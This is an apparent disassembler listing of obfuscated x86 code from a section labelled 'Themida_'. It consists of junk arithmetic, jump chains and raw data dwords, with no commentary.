; ---------------------------------------------------------------------------
		db 2Ch
		dd 2434FF23h, 0AC95E95Ah, 0C181FFFFh, 4, 8704E983h, 0B3E9240Ch
		dd 58FFFF63h, 4EC81h, 0C890000h, 506E6824h, 0F8680000h
		dd 89000025h, 0ACE92424h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C273:				; CODE XREF: Themida_:00544AE6j
		shr	ebp, 5
		add	ebp, 0FFFFFFFFh
		push	edx
		mov	edx, 13A80519h
		sub	edx, 229B6EF8h
		push	ecx
		mov	ecx, 75FD66B8h
		neg	ecx
		shl	ecx, 4
		shl	ecx, 5
		and	ecx, 6DF56CD8h
		and	ecx, 55633361h
		sub	ecx, 1494258Bh
		sub	edx, ecx
		pop	ecx
		xor	ebp, edx
		pop	edx
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, esi
		mov	esi, [esp]
		jmp	loc_5449C4
; ---------------------------------------------------------------------------
		dd 4BEh, 5EF30100h, 0FF6C69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C2CD:				; CODE XREF: Themida_:00545E8Dj
		mov	ebx, esp
		jmp	loc_541E7F
; ---------------------------------------------------------------------------
		dd 958C589h, 0E9425DEAh, 0FFFFABDEh, 0C8BC889h,	4C48124h
		dd 81000000h, 0E66B8AEEh, 81C60119h, 0E66B8AC6h, 5CE9E919h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C2FE:				; CODE XREF: Themida_:0054296Aj
		mov	eax, 61B61E3Eh
		add	eax, 4CB772DFh
		inc	eax
		add	eax, 6BBB65F7h
		jmp	loc_54CD8D
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0CC7E9h, 2434FF00h, 0E92434FFh, 0FFFF9CCCh
; ---------------------------------------------------------------------------


loc_54C328:				; CODE XREF: Themida_:0054BFF0j
		mov	edx, 51C84A48h
		push	2B3Eh
		mov	[esp], ecx
		mov	ecx, 158F7D96h
		add	edx, ecx
		pop	ecx
		or	edx, 15B3412Ch
		or	edx, 16CA07A2h
		neg	edx
		push	edi
		mov	edi, 77FFC802h
		jmp	loc_546F43
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0FF8AB2E9h, 493668FFh, 0EC810000h,	4, 0E9242489h
		dd 0FFFF6D85h, 0E924148Bh, 761h, 0E95FFA89h, 0FFFFB22Eh
		dd 0E9028864h, 0FFFF4FECh
; ---------------------------------------------------------------------------


loc_54C38C:				; CODE XREF: Themida_:00545551j
		mov	edx, 6D140DA8h
		add	edx, 488224F3h
		dec	edx
		or	edx, 2B163E8Bh
		inc	edx
		xor	edx, 0B43BD97Fh
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_54A586
; ---------------------------------------------------------------------------
		db 0F7h
		dd 77BE56D2h, 0E979BB6Fh, 0FFFFAA8Dh
; ---------------------------------------------------------------------------


loc_54C3CC:				; CODE XREF: Themida_:0054C4F5j
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5419D8
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 6624248Bh, 0E9C8BE0Fh, 0FFFF9AE5h, 5C243487h, 0FF9B68E9h
		dd 88FC34FFh, 3CE958C1h, 89000012h, 9361E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C402:				; CODE XREF: Themida_:00544AF2j
		add	[esp+2], ax
		add	word ptr [esp+2], 6E7Eh
		add	word ptr [esp+2], 7452h
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_541378
; ---------------------------------------------------------------------------
aYh		db 'Yh°',27h,0
		dw 8900h
		dd 0E950241Ch, 0FFFF6590h, 1015E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C436:				; CODE XREF: Themida_:005471D9j
		push	esi
		jmp	loc_5414AA
; ---------------------------------------------------------------------------
dword_54C43C	dd 0FF4F37E9h, 0EC8151FFh, 4, 50241489h, 0E17953B8h, 0E503E954h
		dd 0D5F7FFFFh, 6705ED81h, 0EDC16DD5h, 2FF58107h, 1011F6Fh
		dd 0C6815DEEh, 2, 2474FF56h, 24348B04h,	4C481h,	48F0000h
		dd 6A5CE924h, 0DFF7FFFFh, 97B6E951h, 8956FFFFh,	0E8A0E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C496:				; CODE XREF: Themida_:005467B2j
		xor	edi, 724BF2D9h
		jmp	loc_541C06
; ---------------------------------------------------------------------------
		db 1, 0F3h, 0E9h
		dd 0FFFF5DFAh, 0E953E689h, 0FFFF6AADh, 2404A30Fh, 8F17E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4BA:				; CODE XREF: Themida_:0054826Aj
		add	edi, 519035D3h
		xor	edi, 93BA5825h
		add	eax, 707E1508h
		jmp	loc_547067
; ---------------------------------------------------------------------------
		dd 52595451h, 0E0196EBAh, 42D2F72Eh, 79E3E281h,	4AE900D4h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4E7:				; CODE XREF: Themida_:0054266Dj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_54C3CC
; ---------------------------------------------------------------------------


loc_54C4FA:				; CODE XREF: Themida_:00549268j
		sub	edi, ecx
		pop	ecx
		sub	ecx, 5F411811h
		jmp	loc_54827F
; ---------------------------------------------------------------------------
		dd 0A3E9515Bh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C50F:				; CODE XREF: Themida_:00544B23j
		mov	ebp, 529F3DB3h
		sub	ebp, 68812850h
		jmp	loc_5487C2
; ---------------------------------------------------------------------------
		db 81h
		dd 0C08910E9h, 6B22E9F1h, 0E954FFFFh, 0FFFFB71Ah, 41E9028Fh
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C537:				; CODE XREF: Themida_:005419D3j
		sub	dword ptr [esp+4], 58C87A26h
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	ecx, 16D83912h
		push	ebx
		push	edi
		jmp	loc_54D087
; ---------------------------------------------------------------------------


loc_54C570:				; CODE XREF: Themida_:0054AD6Aj
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_542007
; ---------------------------------------------------------------------------


loc_54C57C:				; CODE XREF: Themida_:0054921Cj
		xor	dh, 73h
		push	ebx
		jmp	loc_54A243
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 8124248Bh, 4ECh, 24148900h, 0FF7764E9h, 0C6A0B9FFh
		dd 0C829A722h, 55FBE959h, 8B66FFFFh, 0E068240Ch, 89000018h
		dd 0EC81243Ch, 4, 0FFB54AE9h, 2BEFFh, 0DFE90000h, 81000003h
		dd 4C3h, 4EB8100h, 87000000h, 0A6E9241Ch, 0E9FFFFC9h, 0FFFF4D98h
		dd 0E9E7EA80h, 0FFFFF022h, 7EBE56ADh, 0F7325236h, 26F681D6h
		dd 1BF09C3h, 0D8015EF0h, 0FFD10DE9h, 40B353FFh,	0FF5C8BE9h
		dd 245401FFh, 2434FF04h, 0E689565Ah, 4C681h, 0C6810000h
		dd 4, 5C243487h, 0C2242C81h, 50057866h,	0FF4F9CE9h, 19E95FFFh
		dd 68FFFFD5h, 6E3Fh, 57242C89h,	3266B9BFh, 5FFD8919h, 994BC581h
		dd 0BA52E6CDh, 130E71D0h, 5EBF281h, 0C6E9291Ch,	89FFFFE4h
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 0E924248Bh, 0FFFFE988h
		dd 5D1BAFBFh, 29F78114h, 503B3068h, 911424B8h, 14F7505Eh
		dd 0E8C15824h, 67970508h, 0C7011F09h, 0E924048Bh, 0B3Bh
		dd 4031EF81h, 815E1781h, 2C7h, 243C8700h, 6624248Bh, 55240C8Bh
		dd 8904EC83h, 4832424h,	815D0424h, 4C5h, 2BA5200h, 56000000h
		dd 0F95ECDBEh, 0E9F5016Ah, 0FFFFEF81h, 0D86C35BAh, 5AD6896Bh
		dd 6C37F681h, 3C2D6BD8h, 2907C625h, 253C05F0h, 335E07C6h
		dd 4312404h, 24043324h,	0E924248Bh, 0FFFF79DBh,	0E681D6F7h
		dd 138D743Eh, 2FDEE81h,	0C681462Eh, 17DF39E6h, 54DDC681h
		dd 0EA811CC1h, 132F0552h, 0E951F201h, 0FFFF91C0h, 42474FFh
		dd 24048F5Eh, 0D224248Bh, 0E99C242Ch, 0FFFF76BDh, 4C18159h
		dd 68000000h, 2B38h, 0BD242C89h, 3BD41E6Dh, 633AC581h
		dd 0C5811182h, 0B2A97E5Dh, 0FFBC5DE9h, 4C481FFh, 81000000h
		dd 814031C7h, 0E9F70117h, 0FFFFFF24h
; ---------------------------------------------------------------------------


loc_54C77C:				; CODE XREF: Themida_:00543454j
		xor	ebx, 0FE394EAh
		or	edx, ebx
		jmp	loc_547EDB
; ---------------------------------------------------------------------------
		db 0BAh, 8Ch, 8
		dd 0D32912D1h, 0E9DA295Ah, 0FFFFC138h, 59CD2958h, 7BD1C181h
		dd 0E9014CA1h, 7BD1E981h, 2C8B4CA1h, 4C48124h, 0E9000000h
		dd 0FFFF97F2h, 0F480D4F6h, 80D4F620h, 0E38896F4h, 0FF61AEE9h
		dd 405FFh, 0E9560000h, 0FFFF636Fh, 4C481h, 0C1810000h
		dd 4, 0E904EC83h, 0FFFF7649h, 0D7F670B7h, 0E953F780h, 0FFFFA726h
		dd 4C4815Ch, 68000000h,	60BCh, 52242C89h, 8D6FC0BAh, 0E9D58905h
		dd 0FFFFAF3Ch, 7D8A68h,	24348900h, 99240481h, 8B41C028h
		dd 54512404h, 0F3E95659h, 1FFFF64h, 0B8505FFEh,	3664BC8h
		dd 362DD8F7h, 29FC99B4h, 6FFE9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54C842:				; CODE XREF: Themida_:005471C2j
		xchg	ebp, [esp]
		jmp	loc_544248
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 898CE959h, 8B66FFFFh, 5452240Ch, 4C2815Ah, 53000000h
		dd 10E9E389h
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C867:				; CODE XREF: Themida_:00549966j
		xchg	ebp, [esp]
		pop	esp
		not	edx
		add	edx, 0FFFD5BE2h
		sub	edi, 44392FF0h
		add	edi, edx
		push	ebx
		mov	ebx, 644052BEh
		jmp	loc_543A47
; ---------------------------------------------------------------------------


loc_54C886:				; CODE XREF: Themida_:005487BDj
		or	eax, eax
		jz	loc_54353E
		push	dword ptr [edi+28h]
		sub	dword ptr [esp], 12C83A7Ch
		jmp	loc_54D6F4
; ---------------------------------------------------------------------------


loc_54C89D:				; CODE XREF: Themida_:00541BF7j
		xor	edx, 22717E48h
		jmp	loc_54CC26
; ---------------------------------------------------------------------------


loc_54C8A8:				; CODE XREF: Themida_:00547FC5j
		xor	al, 8
		jmp	loc_544128
; ---------------------------------------------------------------------------
		db 83h
		dd 148704EAh, 4895C24h,	34BA5224h, 811FBF67h, 165765EAh
		dd 0BDE28112h, 81167E14h, 458735C2h, 0E9D08993h, 0FFFFD8ADh
		dd 241C8B66h, 0E904EC83h, 0FFFF7B8Ah, 6FBE565Ah, 811AC977h
		dd 56582DCEh, 81DEF736h, 913D65C6h, 768DE93Ah, 0E789FFFFh
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 815B5453h,	4C3h, 6956800h
		dd 4890000h, 2C92B824h,	0E950187Fh, 0FFFFC1D4h,	5C24048Fh
		dd 56241C89h, 7F34A9BEh, 364E921h, 8B660000h, 168240Ch
		dd 89000058h, 0FF54241Ch, 815B2434h, 4C4h, 0A2E95200h
		dd 68FFFF5Bh, 2C24h, 50241489h,	0FFDBA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C969:				; CODE XREF: Themida_:005470D0j
		or	edx, ebp
		pop	ebp
		shr	edx, 6
		neg	edx
		jmp	loc_541A09
; ---------------------------------------------------------------------------
		dw 2C31h
		dd 242C3324h, 6624248Bh, 9C240429h, 0FF49EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C989:				; CODE XREF: Themida_:00542484j
		not	ecx
		xor	ecx, 0D022983Fh
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		push	esi
		jmp	loc_54D521
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 2404875Eh, 0AB0F665Ch, 0E99C2404h, 0FFFF49C0h, 0E924048Bh
		dd 0FFFF7C15h, 0E9C80F5Ch, 0FFFF4F21h, 3ECB685Fh, 4890000h
		dd 6865B824h, 61E97427h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C9DB:				; CODE XREF: Themida_:0054C21Ej
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 785006F5h
		dec	edx
		push	edi
		mov	edi, 60874409h
		neg	edi
		add	edi, 37BF4E04h
		shl	edi, 4
		dec	edi
		jmp	loc_54192F
; ---------------------------------------------------------------------------
		dd 48BC231h, 0E1895124h, 4C181h, 57E90000h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA13:				; CODE XREF: Themida_:00549F62j
		push	edx
		mov	edx, 3CC44E0Bh
		add	edx, 35946237h
		xor	edx, 16A71713h
		inc	edx
		shl	edx, 4
		jmp	loc_549D7A
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0EF830000h, 74FF5704h, 0E95F0424h, 0FFFFFEE8h
		dd 7C7E981h, 0D10116A0h, 7C7C181h, 815A16A0h, 9610D7E9h
		dd 0E4E98142h, 10ACC3Fh, 240C8BCFh, 3304C483h, 3C31243Ch
		dd 0F967E924h, 34FFFFFFh, 2434FF24h, 4C48159h, 0E9000000h
		dd 0FFFFE18Fh, 7B4D8E68h, 24148B41h, 0FF8580E9h, 242C89FFh
		dd 503330BDh, 6DE58174h, 8130136Ch, 0E3217F5h, 45DDF779h
		dd 418AC581h, 0EE0189FAh, 1EE815Dh, 81000000h, 0E745A0C6h
		dd 61EF81C8h, 1373434h,	9540E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CACA:				; CODE XREF: Themida_:005449E9j
		mov	ecx, 0
		push	esi
		mov	esi, 8D0466Ch
		add	ecx, esi
		pop	esi
		jmp	loc_548F3F
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 4BB53h, 0DE010000h
		dd 0FF4EE6E9h, 4C483FFh, 5107E8C1h, 4263BBB9h, 15E72D37h
		dd 0C8010CA9h, 0A915E705h, 903EE90Ch, 0E952FFFFh, 0FFFF60D4h
		dd 8F2AC281h, 0D729E4F0h, 0FFCF76E9h, 24048FFFh, 5B2434FFh
		dd 0E904C483h, 0FFFF6475h, 0CC88D988h, 0AA04E959h, 0C7FEFFFFh
		dd 0EF80C7FEh, 5BF8000Dh, 0C128C404h, 59C88858h, 0FF528AE9h
		dd 6C6868FFh, 14890000h, 0D4EBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CB6A:				; CODE XREF: Themida_:0054B34Cj
		push	ecx
		jmp	loc_54D1FC
; ---------------------------------------------------------------------------


loc_54CB70:				; CODE XREF: Themida_:0054C029j
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	6083h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	esi
		jmp	loc_545CD1
; ---------------------------------------------------------------------------
		dd 68h,	24342900h, 0FFA06FE9h, 53555AFFh, 7866C2BBh, 6F48E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CBBE:				; CODE XREF: Themida_:005496CCj
		add	eax, ecx
		jmp	loc_545C8A
; ---------------------------------------------------------------------------
		db 5Eh,	8Fh, 4
		dd 0B3535C24h, 0F0F38026h, 0FF6E19E9h, 242C89FFh, 0C5815D54h
		dd 4, 0FF8CAFE9h, 405FFh, 0C0830000h, 535A6804h, 4890000h
		dd 2474FF24h, 48F5804h,	0C5815C24h, 4, 2BE56h, 0F5010000h
		dd 242C875Eh, 6624248Bh, 6824048Bh, 2D06h, 54241489h, 0E30E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54CC26:				; CODE XREF: Themida_:0054C8A3j
		sub	edx, 2AE97ACBh
		jmp	loc_544408
; ---------------------------------------------------------------------------


loc_54CC31:				; CODE XREF: Themida_:0054B486j
		mov	esi, ecx
		jmp	loc_54836D
; ---------------------------------------------------------------------------
		dd 107EF281h, 0D3091FBDh, 0F3EB815Ah, 0E97FFD16h, 0FFFF7C27h
		dd 0D4E92EB5h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CC53:				; CODE XREF: Themida_:00542AD0j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547F9B
; ---------------------------------------------------------------------------
		dd 4C4835Fh, 11E9C231h,	53FFFF47h, 4F6568h, 240C8900h
		dd 22FC1B9h, 8BCB8951h,	0C481240Ch, 4, 0D15BDD29h, 30BE56E5h
		dd 31D974B7h, 4B36E9F5h, 5488FFFFh, 8B660224h, 0C4832414h
		dd 46D6E902h, 0EEC1FFFFh, 4A3CE906h, 0F2B6FFFFh, 0E527E951h
		dd 0E957FFFFh, 0FFFF9386h, 6A1C20B9h, 0E7E98104h, 565EA10Fh
		dd 45EFB951h, 0F8E95929h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54CCCF:				; CODE XREF: Themida_:00549C38j
		mov	bh, al
		push	eax
		mov	eax, 38h
		add	eax, edi
		jmp	loc_5454B2
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0C2810000h, 4, 0FFB8DBE9h, 0DDBD55FFh, 45504A69h
		dd 5D9AF581h, 0C8E94C81h, 89FFFFE0h, 90E9243Ch,	5DFFFF76h
		dd 0E904C483h, 0FFFFE839h, 0F031C631h, 0FF6F50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD1D:				; CODE XREF: Themida_:0054480Aj
		push	55Eh
		mov	[esp], edx
		jmp	loc_54BF91
; ---------------------------------------------------------------------------
		dw 0EA80h
		dd 0E9D000C8h, 0FFFF4D30h, 592434FFh, 0E904C483h, 0FFFF8EF0h
		dd 535DEA89h, 0D9895B52h, 0DE95A5Bh, 28FFFFD1h,	0AC32E9C8h
		dd 1489FFFFh, 4815324h,	0F41EC124h, 0EA815A1Bh,	1BF41EC1h
		dd 0B02BE952h, 2868FFFFh, 8900007Eh, 0B850240Ch, 51F908DDh
		dd 0C108E8C1h, 0BD5502E8h, 0FFEB81BFh, 0FFDACBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CD8D:				; CODE XREF: Themida_:0054C30Ej
		add	eax, 0FFFFFFFFh
		xor	eax, 5938DAE0h
		push	edx
		mov	edx, 0BCEFD608h
		add	eax, edx
		jmp	loc_542073
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8952240Ch, 4C281E2h,	81000000h, 2C2h, 24148700h, 4EC815Ch
		dd 89000000h, 0B1512414h, 302CB6DBh, 90E959CEh,	0FEFFFFE9h
		dd 2CE80C6h, 0FF7880E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CDD9:				; CODE XREF: Themida_:0054D81Ej
		inc	ecx
		push	esi
		mov	esi, 7C3272A9h
		xor	ecx, esi
		pop	esi
		xor	ecx, 6FB35470h
		inc	ecx
		push	edi
		mov	edi, 4B054A5Fh
		or	edi, 52AD6FF6h
		jmp	loc_547E49
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3F542ECCh, 0FFEDF6E9h, 0E38953FFh, 96CBE957h, 148BFFFFh
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h, 0FF9842E9h
		dd 454AE9FFh, 0C831FFFFh, 0FFE45DE9h, 4C483FFh,	8B24048Fh
		dd 89662424h, 0F66240Ch, 5166C8B6h, 452AE99Ch, 7401FFFFh
		dd 44810424h, 3730424h,	835E770Eh, 3C8904ECh, 6285BF24h
		dd 0BF573AC5h, 1E371C1Dh, 0FF7FD2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CE71:				; CODE XREF: Themida_:0054164Cj
		push	eax
		jmp	loc_543D1B
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFE5D6E9h, 0E96304FFh, 0FFFFC407h, 7E8C15Dh, 0F6539C05h
		dd 581F0D06h, 0CEE91301h, 0C1FFFF9Eh, 350D02E0h, 0E94EF339h
		dd 0AE1h, 34A62D5Ah, 0E8016BF8h, 22CE9h, 2C48100h, 66000000h
		dd 375BC381h, 50C32966h, 2ADEB866h, 0FFC631E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54CEC9:				; CODE XREF: Themida_:00544686j
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_549881
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0F379E924h, 0F781FFFFh, 3EE54848h, 0FFB4F6E9h, 27C968FFh
		dd 1C890000h, 0E94FB324h, 0FFFF9A3Dh, 6851E089h, 0E3F76EBh
		dd 0FFD2A5E9h, 242C8BFFh, 904C483h, 0E95B1C5Fh,	0FFFFF528h
		dd 4903D4B9h, 81D1F753h, 0DB11E1C1h, 87D9F70Ch,	87D2F7D1h
		dd 81D9F7D1h, 0EDA32F1h, 59CD2178h, 0FF7977E9h,	240489FFh
		dd 0FFE3CAE9h, 166858FFh, 8900000Fh, 74FF2434h,	34FF0424h
		dd 0DEE95E24h, 83FFFFFEh, 0A0E904EBh, 0FFFFFFEDh, 68592434h
		dd 530Ah, 89243489h, 4C681E6h, 57000000h, 2BB5BD55h, 0F5E90CB0h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CF7F:				; CODE XREF: Themida_:005428B4j
		add	esp, 4
		jmp	loc_547002
; ---------------------------------------------------------------------------


loc_54CF8A:				; CODE XREF: Themida_:00549DAAj
		xor	ebx, edx
		jmp	loc_541490
; ---------------------------------------------------------------------------
		db 66h,	5Bh, 0E9h
		dd 0FFFFD277h
; ---------------------------------------------------------------------------


loc_54CF98:				; CODE XREF: Themida_:00548481j
		sub	bl, dh
		jmp	loc_5457C7
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFF85AEh
; ---------------------------------------------------------------------------


loc_54CFA8:				; CODE XREF: Themida_:00543E5Dj
		pop	ecx
		or	ebx, 4E63DF6h
		and	ebx, 526F2375h
		shl	ebx, 6
		dec	ebx
		xor	ebx, 0F7954Ch
		xor	eax, ebx
		pop	ebx
		jmp	loc_54BC6D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D9F703E1h, 3BB5C181h, 0CE896F13h, 8BF13159h, 0C4832434h
		dd 0E9CA0104h, 0FFFFCE3Ch, 0FFE9015Dh, 815D2434h, 4C4h
		dd 4E98100h, 87000000h,	895C240Ch, 9C502414h, 0FF4373E9h
		dd 4C181FFh, 51000000h,	42474FFh, 0FFC82FE9h, 0E95A58FFh
		dd 0FFFF569Dh, 0E9241C8Bh, 0FFFFD913h, 9D1C77FFh, 4185866h
		dd 45E99C24h, 59FFFF43h, 42Dh, 24048700h, 240C895Ch, 0FFAB39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D045:				; CODE XREF: Themida_:00545DC5j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_545FB8
; ---------------------------------------------------------------------------
		db 5Bh,	1, 0FEh
		dd 0FFECC1E9h, 51F828FFh, 7E2C26B5h, 0FFED8EE9h, 5141B5FFh
		dd 0EA88BCB5h, 0FF4772E9h, 5AD501FFh, 24B9BA52h, 0E3E9421Dh
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D087:				; CODE XREF: Themida_:0054C56Bj
		push	7CA93CC6h
		jmp	loc_5480F7
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 405h, 40500h, 4870000h, 56585C24h, 4C0CE957h, 8B66FFFFh
		dd 1682404h, 8900004Ah,	5B54241Ch, 8904EC83h, 4B82404h
		dd 1000000h, 535058C3h,	0FF9416E9h, 0E9895FFFh,	0B8FAE95Dh
		dd 0D530FFFFh, 0FFDC92E9h, 34A605FFh, 295D6BF8h, 48B2447h
		dd 4C48124h, 68000000h,	5F44h, 0FFBE96E9h, 3ECE81FFh, 5006E548h
		dd 7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D105:				; CODE XREF: Themida_:00541FF3j
		push	6BB9h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5459A0
; ---------------------------------------------------------------------------


loc_54D123:				; CODE XREF: Themida_:005461CBj
		add	esp, 4
		jmp	loc_543084
; ---------------------------------------------------------------------------


loc_54D12B:				; CODE XREF: Themida_:00548D73j
		sub	esi, 341327F6h
		xor	esi, 0C9448BA3h
		mov	ebp, esi
		jmp	loc_54B32C
; ---------------------------------------------------------------------------


loc_54D13E:				; CODE XREF: Themida_:00541EF3j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 137E924h, 0EB290000h, 83242C8Bh
		dd 0BF5704C4h, 49602471h, 3C8BFB01h, 6C02E924h,	0A868FFFFh
		dd 0E900006Ah, 312h, 0B348C0B8h, 3A8F0556h, 0B9517FFBh
		dd 0B8D712Fh, 6643E981h, 0C801EB67h, 4D272D59h,	0E8C16FFBh
		dd 73A02D05h, 0B90514CAh, 318F590Fh, 814E58C6h,	0C1615F6h
		dd 0D7BA5253h, 815FD223h, 9A20FCEEh, 81D6290Eh,	9A20FCC6h
		dd 0F6815A0Eh, 0C35C17B5h, 1DE9F001h, 83FFFF7Eh, 0FE8904C4h
		dd 0D9C6815Fh, 5D2AC95h, 34B4613Ah, 0FFB443E9h,	24248BFFh
		dd 0E9243C89h, 0FFFF46A1h
; ---------------------------------------------------------------------------


loc_54D1FC:				; CODE XREF: Themida_:0054CB6Bj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_54D3B4
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 0FFD901E9h, 241C89FFh, 0BDE9CAB7h, 66FFFF57h, 57240C8Bh
		dd 0BE56E789h, 409C374Fh, 0FF9F24E9h, 4146E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D232:				; CODE XREF: Themida_:0054915Ej
		pop	edi
		jmp	loc_545D33
; ---------------------------------------------------------------------------
		dd 0E484F781h, 8D2DCE0Fh, 107B95Fh, 84B1E9F8h, 8B66FFFFh
		dd 0C481241Ch, 2, 33C968h, 240C8900h, 3BB25253h, 3DE909B7h
		dd 0F7FFFFD1h, 6CEF81D7h, 126A977h, 685FF8h, 0E9000075h
		dd 0FFFF8937h, 405E089h, 0E9000000h, 4D1h, 24048F5Fh, 0FFD0B0E9h
		dd 243C8BFFh, 0FF4798E9h, 240C89FFh, 2848BB53h,	4AB909D1h
		dd 2909D128h, 0EA815BD9h, 291764A7h, 0C281CA01h, 291764A7h
		dd 83240C8Bh, 2DE904C4h, 66FFFFE4h, 0ADE99C51h,	59FFFF40h
		dd 5224148Bh, 0A740E954h, 48BFFFFh, 4C48324h, 0FF42E1E9h
		dd 0BB0559FFh, 0E93B8D47h, 14Fh, 6DE9C009h, 2CFFFF60h
		dd 595A66D8h, 0B60FC330h, 148B66C0h, 7620E924h,	0B951FFFFh
		dd 3BB34030h, 5DAFE181h, 0D9F72B40h, 590FE181h,	0C1416B26h
		dd 0C18107E9h, 0FF7FB3D2h, 6859CB01h, 4DFAh, 53243489h
		dd 2BBh, 5BDE8900h, 348BF329h, 4C48324h, 31241C33h, 1C33241Ch
		dd 24248B24h, 0FFAFC2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D351:				; CODE XREF: Themida_:0054A0C6j
		xchg	edi, [esp]
		jmp	loc_54BF52
; ---------------------------------------------------------------------------
		db 95h,	58h, 57h
		dd 0FFFFFFBFh, 0CFF9E9FFh, 0D830FFFFh, 0FF6CDFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D36D:				; CODE XREF: Themida_:00542181j
		xchg	ecx, [esp]
		pop	esp
		xor	ebp, 5C19166Ch
		mov	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		push	ecx
		jmp	loc_5482BF
; ---------------------------------------------------------------------------


loc_54D383:				; CODE XREF: Themida_:00541B75j
		shr	ecx, 2
		jmp	loc_547655
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFA3EE84h, 1C77FFFFh, 592434FFh, 0C9D5E955h, 0C89FFFFh
		dd 81E18924h, 4C1h, 4E98100h, 0E9000000h, 0FFFF670Fh
; ---------------------------------------------------------------------------


loc_54D3B4:				; CODE XREF: Themida_:0054D204j
		sub	ecx, 4
		xchg	ecx, [esp]
